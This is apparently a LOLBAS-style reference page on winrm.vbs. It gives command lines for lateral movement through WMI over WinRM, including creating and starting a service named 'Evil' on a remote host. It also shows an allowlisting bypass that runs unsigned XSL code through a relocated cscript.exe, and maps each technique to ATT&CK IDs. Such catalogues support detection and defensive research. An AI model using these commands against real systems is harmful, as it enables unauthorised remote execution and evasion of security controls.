.. /winrm.vbs
Star

Execute
AWL bypass

Script used for manage Windows RM settings


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

    winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985
    Use case
    Proxy execution
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1216
  2. Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

    winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
    Use case
    Proxy execution
    Privileges required
    Admin
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1216

AWL bypass

  1. Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

    %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
    Use case
    Execute arbitrary, unsigned code via XSL script
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1220